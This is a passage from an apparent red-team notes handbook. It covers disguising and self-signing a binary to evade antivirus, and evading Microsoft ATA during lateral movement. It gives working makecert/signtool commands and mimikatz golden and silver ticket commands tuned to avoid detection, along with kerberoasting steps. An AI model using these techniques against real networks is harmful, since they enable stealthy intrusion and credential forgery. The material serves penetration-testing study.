# Table of Contents - [The Red Team Vade Mecum](#the-red-team-vade-mecum) - [Defense Evasion | The Red Team Vade Mecum](#defense-evasion-the-red-team-vade-mecum) - [Binary Properties and Code Signing | The Red Team Vade Mecum](#binary-properties-and-code-signing-the-red-team-vade-mecum) - [Lateral Movement | The Red Team Vade Mecum](#lateral-movement-the-red-team-vade-mecum) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Important Note | The Red Team Vade Mecum](#important-note-the-red-team-vade-mecum) - [ATA/ATP | The Red Team Vade Mecum](#ata-atp-the-red-team-vade-mecum) - [Domain Dominance | The Red Team Vade Mecum](#domain-dominance-the-red-team-vade-mecum) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Tips and Tricks | The Red Team Vade Mecum](#tips-and-tricks-the-red-team-vade-mecum) - [Basics | The Red Team Vade Mecum](#basics-the-red-team-vade-mecum) - [Trusted Installer | The Red Team Vade Mecum](#trusted-installer-the-red-team-vade-mecum) - [Recon | The Red Team Vade Mecum](#recon-the-red-team-vade-mecum) - [Blocking/Disabling Telemetry | The Red Team Vade Mecum](#blocking-disabling-telemetry-the-red-team-vade-mecum) - [Intro | The Red Team Vade Mecum](#intro-the-red-team-vade-mecum) - [Encrypting Strings | The Red Team Vade Mecum](#encrypting-strings-the-red-team-vade-mecum) - [Execution | The Red Team Vade Mecum](#execution-the-red-team-vade-mecum) - [PHP Cheatsheet | The Red Team Vade Mecum](#php-cheatsheet-the-red-team-vade-mecum) - [Cool ways of Calling a Process | The Red Team Vade Mecum](#cool-ways-of-calling-a-process-the-red-team-vade-mecum) - [One Liners | The Red Team Vade Mecum](#one-liners-the-red-team-vade-mecum) - [Code Grepping | The Red Team Vade Mecum](#code-grepping-the-red-team-vade-mecum) - [Enumeration | The Red Team Vade Mecum](#enumeration-the-red-team-vade-mecum) - [Windows Internals | The Red Team Vade Mecum](#windows-internals-the-red-team-vade-mecum) - [Bootstrapping | The Red Team Vade Mecum](#bootstrapping-the-red-team-vade-mecum) - [Web Vulnerabilities | The Red Team Vade Mecum](#web-vulnerabilities-the-red-team-vade-mecum) - [Identification | The Red Team Vade Mecum](#identification-the-red-team-vade-mecum) - [ACCDE | The Red Team Vade Mecum](#accde-the-red-team-vade-mecum) - [High Level Overview of EDR technologies | The Red Team Vade Mecum](#high-level-overview-of-edr-technologies-the-red-team-vade-mecum) - [Recon Commands | The Red Team Vade Mecum](#recon-commands-the-red-team-vade-mecum) - [.MAM Files | The Red Team Vade Mecum](#-mam-files-the-red-team-vade-mecum) - [Situational Awareness | The Red Team Vade Mecum](#situational-awareness-the-red-team-vade-mecum) - [SQL | The Red Team Vade Mecum](#sql-the-red-team-vade-mecum) - [Info Extraction | The Red Team Vade Mecum](#info-extraction-the-red-team-vade-mecum) - [WMI queries from c++ | The Red Team Vade Mecum](#wmi-queries-from-c-the-red-team-vade-mecum) - [.NET AD Enum commands | The Red Team Vade Mecum](#-net-ad-enum-commands-the-red-team-vade-mecum) - [Code Injection | The Red Team Vade Mecum](#code-injection-the-red-team-vade-mecum) - [Disabling/Patching Telemetry | The Red Team Vade Mecum](#disabling-patching-telemetry-the-red-team-vade-mecum) - [Hijacking Execution | The Red Team Vade Mecum](#hijacking-execution-the-red-team-vade-mecum) - [Privilege Escalation | The Red Team Vade Mecum](#privilege-escalation-the-red-team-vade-mecum) - [Hooking | The Red Team Vade Mecum](#hooking-the-red-team-vade-mecum) - [Environment Variable interception | The Red Team Vade Mecum](#environment-variable-interception-the-red-team-vade-mecum) - [Tips and Tricks | The Red Team Vade Mecum](#tips-and-tricks-the-red-team-vade-mecum) - [Staging/Stagers | The Red Team Vade Mecum](#staging-stagers-the-red-team-vade-mecum) - [Evasion | The Red Team Vade Mecum](#evasion-the-red-team-vade-mecum) - [PowerPoint | The Red Team Vade Mecum](#powerpoint-the-red-team-vade-mecum) - [Vulnerability Discovery | The Red Team Vade Mecum](#vulnerability-discovery-the-red-team-vade-mecum) - [AT | The Red Team Vade Mecum](#at-the-red-team-vade-mecum) - [Tools | The Red Team Vade Mecum](#tools-the-red-team-vade-mecum) - [MS SQL | The Red Team Vade Mecum](#ms-sql-the-red-team-vade-mecum) - [Info Extraction | The Red Team Vade Mecum](#info-extraction-the-red-team-vade-mecum) - [SQL | The Red Team Vade Mecum](#sql-the-red-team-vade-mecum) - [MS Office | The Red Team Vade Mecum](#ms-office-the-red-team-vade-mecum) - [New Service | The Red Team Vade Mecum](#new-service-the-red-team-vade-mecum) - [Post Exploitation | The Red Team Vade Mecum](#post-exploitation-the-red-team-vade-mecum) - [Initial Access | The Red Team Vade Mecum](#initial-access-the-red-team-vade-mecum) - [To System | The Red Team Vade Mecum](#to-system-the-red-team-vade-mecum) - [Misconfigured Registry Hives | The Red Team Vade Mecum](#misconfigured-registry-hives-the-red-team-vade-mecum) - [DLL Hijacking | The Red Team Vade Mecum](#dll-hijacking-the-red-team-vade-mecum) - [Basics | The Red Team Vade Mecum](#basics-the-red-team-vade-mecum) - [Hunting For Passwords | The Red Team Vade Mecum](#hunting-for-passwords-the-red-team-vade-mecum) - [Persistence | The Red Team Vade Mecum](#persistence-the-red-team-vade-mecum) - [Missing Services and Tasks | The Red Team Vade Mecum](#missing-services-and-tasks-the-red-team-vade-mecum) - [Scheduled Tasks | The Red Team Vade Mecum](#scheduled-tasks-the-red-team-vade-mecum) - [Shellcode Execution | The Red Team Vade Mecum](#shellcode-execution-the-red-team-vade-mecum) - [Insecure Binary Path | The Red Team Vade Mecum](#insecure-binary-path-the-red-team-vade-mecum) - [AlwaysInstallElevated | The Red Team Vade Mecum](#alwaysinstallelevated-the-red-team-vade-mecum) - [Finding Sql Servers | The Red Team Vade Mecum](#finding-sql-servers-the-red-team-vade-mecum) - [AMSI Bypasses | The Red Team Vade Mecum](#amsi-bypasses-the-red-team-vade-mecum) - [Dechaining Macros | The Red Team Vade Mecum](#dechaining-macros-the-red-team-vade-mecum) - [Insecure Permissions | The Red Team Vade Mecum](#insecure-permissions-the-red-team-vade-mecum) - [MS Office | The Red Team Vade Mecum](#ms-office-the-red-team-vade-mecum) - [WMIC commands | The Red Team Vade Mecum](#wmic-commands-the-red-team-vade-mecum) - [Unquoted Service Paths | The Red Team Vade Mecum](#unquoted-service-paths-the-red-team-vade-mecum) - [Linux | The Red Team Vade Mecum](#linux-the-red-team-vade-mecum) - [Benefits of Using APIs | The Red Team Vade Mecum](#benefits-of-using-apis-the-red-team-vade-mecum) - [ETW Bypasses | The Red Team Vade Mecum](#etw-bypasses-the-red-team-vade-mecum) - [Unorganized Notes | The Red Team Vade Mecum](#unorganized-notes-the-red-team-vade-mecum) - [LNK | The Red Team Vade Mecum](#lnk-the-red-team-vade-mecum) - [MSI Files | The Red Team Vade Mecum](#msi-files-the-red-team-vade-mecum) - [REG | The Red Team Vade Mecum](#reg-the-red-team-vade-mecum) - [IQY | The Red Team Vade Mecum](#iqy-the-red-team-vade-mecum) - [Impacket | The Red Team Vade Mecum](#impacket-the-red-team-vade-mecum) - [SSH Hijacking | The Red Team Vade Mecum](#ssh-hijacking-the-red-team-vade-mecum) - [BAT | The Red Team Vade Mecum](#bat-the-red-team-vade-mecum) - [HTA | The Red Team Vade Mecum](#hta-the-red-team-vade-mecum) - [Thread-less Payload Execution | The Red Team Vade Mecum](#thread-less-payload-execution-the-red-team-vade-mecum) - [CHM | The Red Team Vade Mecum](#chm-the-red-team-vade-mecum) - [Pivoting | The Red Team Vade Mecum](#pivoting-the-red-team-vade-mecum) - [Checking for access | The Red Team Vade Mecum](#checking-for-access-the-red-team-vade-mecum) - [Minimization | The Red Team Vade Mecum](#minimization-the-red-team-vade-mecum) - [RTF | The Red Team Vade Mecum](#rtf-the-red-team-vade-mecum) - [Using LNK to Automatically Download Payloads | The Red Team Vade Mecum](#using-lnk-to-automatically-download-payloads-the-red-team-vade-mecum) - [SSP | The Red Team Vade Mecum](#ssp-the-red-team-vade-mecum) - [File Formats | The Red Team Vade Mecum](#file-formats-the-red-team-vade-mecum) - [MSG | The Red Team Vade Mecum](#msg-the-red-team-vade-mecum) - [PPID Spoofing via CreateProcess | The Red Team Vade Mecum](#ppid-spoofing-via-createprocess-the-red-team-vade-mecum) - [Admin Level | The Red Team Vade Mecum](#admin-level-the-red-team-vade-mecum) - [DLL Hollowing | The Red Team Vade Mecum](#dll-hollowing-the-red-team-vade-mecum) - [Services | The Red Team Vade Mecum](#services-the-red-team-vade-mecum) - [Default File Extension | The Red Team Vade Mecum](#default-file-extension-the-red-team-vade-mecum) - [Registry Keys | The Red Team Vade Mecum](#registry-keys-the-red-team-vade-mecum) - [Inline Shapes | The Red Team Vade Mecum](#inline-shapes-the-red-team-vade-mecum) - [Sandbox Evasion | The Red Team Vade Mecum](#sandbox-evasion-the-red-team-vade-mecum) - [WinLogon | The Red Team Vade Mecum](#winlogon-the-red-team-vade-mecum) - [Time Provider | The Red Team Vade Mecum](#time-provider-the-red-team-vade-mecum) - [AppInit Dlls | The Red Team Vade Mecum](#appinit-dlls-the-red-team-vade-mecum) - [Local Exploits | The Red Team Vade Mecum](#local-exploits-the-red-team-vade-mecum) - [DDE | The Red Team Vade Mecum](#dde-the-red-team-vade-mecum) - [Macros | The Red Team Vade Mecum](#macros-the-red-team-vade-mecum) - [DLL Injection | The Red Team Vade Mecum](#dll-injection-the-red-team-vade-mecum) - [Waitfor | The Red Team Vade Mecum](#waitfor-the-red-team-vade-mecum) - [RDP Backdoors | The Red Team Vade Mecum](#rdp-backdoors-the-red-team-vade-mecum) - [Service Control | The Red Team Vade Mecum](#service-control-the-red-team-vade-mecum) - [Named Pipe Impersonation | The Red Team Vade Mecum](#named-pipe-impersonation-the-red-team-vade-mecum) - [Early Bird Injection | The Red Team Vade Mecum](#early-bird-injection-the-red-team-vade-mecum) - [DCOM | The Red Team Vade Mecum](#dcom-the-red-team-vade-mecum) - [SCShell | The Red Team Vade Mecum](#scshell-the-red-team-vade-mecum) - [Poison Handler | The Red Team Vade Mecum](#poison-handler-the-red-team-vade-mecum) - [PsExec | The Red Team Vade Mecum](#psexec-the-red-team-vade-mecum) - [AT | The Red Team Vade Mecum](#at-the-red-team-vade-mecum) - [Netsh Dlls | The Red Team Vade Mecum](#netsh-dlls-the-red-team-vade-mecum) - [RDP | The Red Team Vade Mecum](#rdp-the-red-team-vade-mecum) - [WMI | The Red Team Vade Mecum](#wmi-the-red-team-vade-mecum) - [Privilege Escalation | The Red Team Vade Mecum](#privilege-escalation-the-red-team-vade-mecum) - [Lateral Movement | The Red Team Vade Mecum](#lateral-movement-the-red-team-vade-mecum) - [Payload Delivery | The Red Team Vade Mecum](#payload-delivery-the-red-team-vade-mecum) - [Commands to Avoid | The Red Team Vade Mecum](#commands-to-avoid-the-red-team-vade-mecum) - [Screen Savers | The Red Team Vade Mecum](#screen-savers-the-red-team-vade-mecum) - [Powershell Profiles | The Red Team Vade Mecum](#powershell-profiles-the-red-team-vade-mecum) - [Logon Scripts | The Red Team Vade Mecum](#logon-scripts-the-red-team-vade-mecum) - [Field Abuse | The Red Team Vade Mecum](#field-abuse-the-red-team-vade-mecum) - [File metadata | The Red Team Vade Mecum](#file-metadata-the-red-team-vade-mecum) - [Switching Parents | The Red Team Vade Mecum](#switching-parents-the-red-team-vade-mecum) - [Registry Keys | The Red Team Vade Mecum](#registry-keys-the-red-team-vade-mecum) - [Port Monitor | The Red Team Vade Mecum](#port-monitor-the-red-team-vade-mecum) - [AppCert DLLs | The Red Team Vade Mecum](#appcert-dlls-the-red-team-vade-mecum) - [IOCs | The Red Team Vade Mecum](#iocs-the-red-team-vade-mecum) - [No Admin? | The Red Team Vade Mecum](#no-admin-the-red-team-vade-mecum) - [Misdirection | The Red Team Vade Mecum](#misdirection-the-red-team-vade-mecum) - [User Level | The Red Team Vade Mecum](#user-level-the-red-team-vade-mecum) - [Command Line Argument Spoofing | The Red Team Vade Mecum](#command-line-argument-spoofing-the-red-team-vade-mecum) - [APC Queue Code Injection | The Red Team Vade Mecum](#apc-queue-code-injection-the-red-team-vade-mecum) - [WMI Event Subscriptions | The Red Team Vade Mecum](#wmi-event-subscriptions-the-red-team-vade-mecum) - [Dechaining via WMI | The Red Team Vade Mecum](#dechaining-via-wmi-the-red-team-vade-mecum) - [ADS | The Red Team Vade Mecum](#ads-the-red-team-vade-mecum) - [Event Logs | The Red Team Vade Mecum](#event-logs-the-red-team-vade-mecum) - [RDP | The Red Team Vade Mecum](#rdp-the-red-team-vade-mecum) - [WinRM | The Red Team Vade Mecum](#winrm-the-red-team-vade-mecum) - [LNK | The Red Team Vade Mecum](#lnk-the-red-team-vade-mecum) - [Obfuscating Imports | The Red Team Vade Mecum](#obfuscating-imports-the-red-team-vade-mecum) - [Hiding our Payloads | The Red Team Vade Mecum](#hiding-our-payloads-the-red-team-vade-mecum) - [Junction folders | The Red Team Vade Mecum](#junction-folders-the-red-team-vade-mecum) - [Startup Folder | The Red Team Vade Mecum](#startup-folder-the-red-team-vade-mecum) - [IPC For Evasion and Control | The Red Team Vade Mecum](#ipc-for-evasion-and-control-the-red-team-vade-mecum) - [CreateRemoteThread | The Red Team Vade Mecum](#createremotethread-the-red-team-vade-mecum) - [Detours | The Red Team Vade Mecum](#detours-the-red-team-vade-mecum) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) - [Unknown](#unknown) --- # The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/master.md) . These are my set of notes about various red team topics I've learned throughout my InfoSec journey. I wanted to make this because I learn more when _trying_ to teach others, which is what I'm kind of trying to do now. Note that all of these techniques are documented elsewhere and I'm not trying to reinvent the wheel or claim ownership in any sort of way. I may make a couple of mistakes here and there so go easy on me. [NextDefense Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion) Last updated 5 years ago --- # Defense Evasion | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion.md) . [Binary Properties and Code Signing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing) [ATA/ATP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp) [Tips and Tricks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks) [Basics](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics) [Disabling/Patching Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry) [Minimization](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization) [Misdirection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection) [Hiding our Payloads](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads) [IPC For Evasion and Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization) [PreviousThe Red Team Vade Mecum](https://kwcsec.gitbook.io/the-red-team-handbook) [NextBinary Properties and Code Signing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing) Last updated 5 years ago --- # Binary Properties and Code Signing | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing.md) . Most of your legitimate binaries have some sort of properties attached to them. As we can see with ntdll.dll, we have many properties of this binary which make it seem more legitimate: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MhReKXx60g-o3yeb36T%252F-MhRh7My5BlyaQPtyrW4%252Fimage.png%3Falt%3Dmedia%26token%3D7f7e9563-32da-4ac0-91ed-9bae8726cc1e&width=768&dpr=3&quality=100&sign=2218c790&sv=2) But with a freshly compiled binary, we see this: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mi4kxT1D1JJIdpziIFj%252F-Mi4m3NrMfiW1WAagRLv%252Fimage.png%3Falt%3Dmedia%26token%3D4fb4b69b-0920-4302-ab0f-0c6afdbf0cdf&width=768&dpr=3&quality=100&sign=e20fd588&sv=2) We see a lot of empty fields which can be flagged as suspicious behaviour. Making our binary have these fields filled out can make our binary look more legit and pass under the radar more. To fill out the empty fields, we can use resource hacker for this. To do this click on the file tab and open our executable that we want to fill up the empty field with: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-Midl33sH3T6cU8I-zs3%252Fimage.png%3Falt%3Dmedia%26token%3D441e636f-4c4a-47bc-98cb-cdc549756ace&width=768&dpr=3&quality=100&sign=f643434d&sv=2) Then, import the binary you want to clone the module details from by clicking this and then selecting the binary you want to clone: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidlDuvGCHGxVESmQHL%252Fimage.png%3Falt%3Dmedia%26token%3Da1daf602-0897-4c2c-af56-5848ee74e98a&width=768&dpr=3&quality=100&sign=6c51f3bf&sv=2) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidjmZIxly7_t_T5FRa%252Fimage.png%3Falt%3Dmedia%26token%3D6687bf06-2f16-40f0-b4ab-0eb31ef7214b&width=768&dpr=3&quality=100&sign=5926aa16&sv=2) Then check off the version info box: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidjrkhSgf5dz3cnl3T%252Fimage.png%3Falt%3Dmedia%26token%3Da5975c4e-3fde-4e13-b03d-c96802346887&width=768&dpr=3&quality=100&sign=e6bd1d9f&sv=2) You should now see something like this, you can then modify the descriptions and values to fit whatever you are doing but for now, we are just going to stick with this: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidjxEzMoSgCJ91x7OP%252Fimage.png%3Falt%3Dmedia%26token%3Da1ffcb78-9a1e-4467-a936-82a982cb455c&width=768&dpr=3&quality=100&sign=a283d55b&sv=2) After, we can then click the save button to save our file ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidlWxjNujGZZXAa0a_%252Fimage.png%3Falt%3Dmedia%26token%3Dcee38c9b-b793-4996-9683-8ccac4590e0f&width=768&dpr=3&quality=100&sign=2fde7cc8&sv=2) Let's then check our the properties of our modified PE file: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidlwTpkJozMCoS0ABJ%252Fimage.png%3Falt%3Dmedia%26token%3D8845811e-023a-47d4-8981-51fb57e9b005&width=768&dpr=3&quality=100&sign=eb1efc67&sv=2) tada! We have now filled up the binary properties of our executable The next issue I want to discuss is code signing. Some AV engines may flag unsigned binaries as suspicious due to the fact that most legitimate binaries in windows ten have some code signing already. We can see our PE file does not have a code signing tab in the its properties: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-MidmqzK6JrOV1OtPYCL%252Fimage.png%3Falt%3Dmedia%26token%3Db9309562-0124-44cd-ae71-39db1ec2af71&width=768&dpr=3&quality=100&sign=4b2b5a9f&sv=2) But binaries like ntdll.dll have one: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Midi-xg3K0HX7lcvGNT%252F-Midn-F8fl4NMif1THpj%252Fimage.png%3Falt%3Dmedia%26token%3Df64b72cb-b75c-42f2-842f-65f89f54d2a8&width=768&dpr=3&quality=100&sign=4fad3b60&sv=2) To sign a binary, we will need a certificate authority and code-signing certificate. Let's first make the self signed CA: Copy makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer Then make the self signed Cert: Copy makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer Convert it to PFX: Copy pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx and then sign our binary with it: Copy signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll After executing these commands, we will have a digital signature tab if we look into the executable's properties, confirming that we have successfully signed the file. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-MfpNy7QBsIOaHJ1vcf-%252Fuploads%252F3eEHcF7xGCqaD4T5G4T6%252Fimage.png%3Falt%3Dmedia%26token%3D1177d1a4-af49-431c-b84a-0178f8e4a425&width=300&dpr=3&quality=100&sign=b307d6f4&sv=2) [PreviousDefense Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion) [NextATA/ATP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp) Last updated 3 years ago --- # Lateral Movement | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement.md) . Most lateral movement techniques like PSexec, PSRemoting, DCOM, and WMIexec are detected only if it's "abnormal traffic." If these technologies are used often by the user, like help desk commonly RDPing to workstations to help fix technical problems, then it will be safe to use that as it is considered "normal behavior." But, there are other more stealthy ways to move laterally apart from using those technologies. Over-Pass-The-Hash[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement#over-pass-the-hash) --------------------------------------------------------------------------------------------------------------------------------------------- Using only NTLM hashes to OPTH will be flagged by ATA as an encryption downgrade or unusual protocol implementation. To generate kerberos tickets that will not be flagged, supply NTLM and AES keys and set the lifetime of the ticket to a normal value Copy kerberos::golden /user: /domain: /sid: /aes128: /NTLM: /aes256: /endin:600 /renewmax:300 /ptt Note that you can supply all zeroes for the aes128 key and it will not be flagged. SQL[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement#sql) --------------------------------------------------------------------------------------------------------------- Moving laterally through SQL databases is not detected due to the fact that no traffic goes to the DC. All SQL authentication events are local to the server. We can find passwords and hashes of a privileged user, impersonate that user, and go on from there. [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fspaces%252F-MfpNy7QBsIOaHJ1vcf-%252Favatar-1628087367380.png%3Fgeneration%3D1628087368027933%26alt%3Dmedia&width=48&height=48&sign=505da04f&sv=2)MS SQL | The Red Team Vade Mecumkwcsec.gitbook.io](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql) Silver Tickets[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement#silver-tickets) ------------------------------------------------------------------------------------------------------------------------------------- Using Kerberoasting and Silver Tickets are a good way to move laterally as Kerberoasting blends in with regular traffic and silver tickets have no communication with the DC whatsoever since its a forged TGS. Make sure to slowly kerberoast users as kerberoasting all at once will cause spikes of traffic which may cause alerts. We can slowly enumerate user objects with an SPN, by OU: Copy Get-DomainUser -SPN -SearchBase “ldap://OU=office,DC=...” Then perform recon on groups that have access on various targets of interest: Copy Get-DomainGroup -MemberIdentity And then kerberoast that target if applicable: Copy Get-DomainUser | Get-DomainSPNTicket | fl * Beware of Honeypot SPNs, factor in last logon, creation date etc. to identify these types of accounts If we successfully crack the hash, we can then create a silver ticket Copy kerberos::golden /user: /domain: /sid: /rc4: /endin:600 /renewmax:300 /service: /target: /ptt Modification of Sensitive groups[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement#modification-of-sensitive-groups) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- If any of these sensitive groups are modified(like adding an account or changing passwords), These will be flagged for abnormal activity. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgsdmwJ1Dn_Bn3hpBSY%252F-MgseOi_yaic_o0wpO9M%252Fimage.png%3Falt%3Dmedia%26token%3D328d49a0-4029-49fe-afaa-4943f12f0c9b&width=768&dpr=3&quality=100&sign=9aac66c&sv=2) As a result, we can target other privileged groups like SQL admins or Help desk users. Golden Tickets[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement#golden-tickets) ------------------------------------------------------------------------------------------------------------------------------------- The same logic applies to silver tickets to golden tickets as well, if we only supply the NTLM hash, it will be flagged as an encryption downgrade. To subvert this, include all AES keys, note that if the length of the ticket is alive for more than 8 hours than its use, it is going to be flagged. So for extra 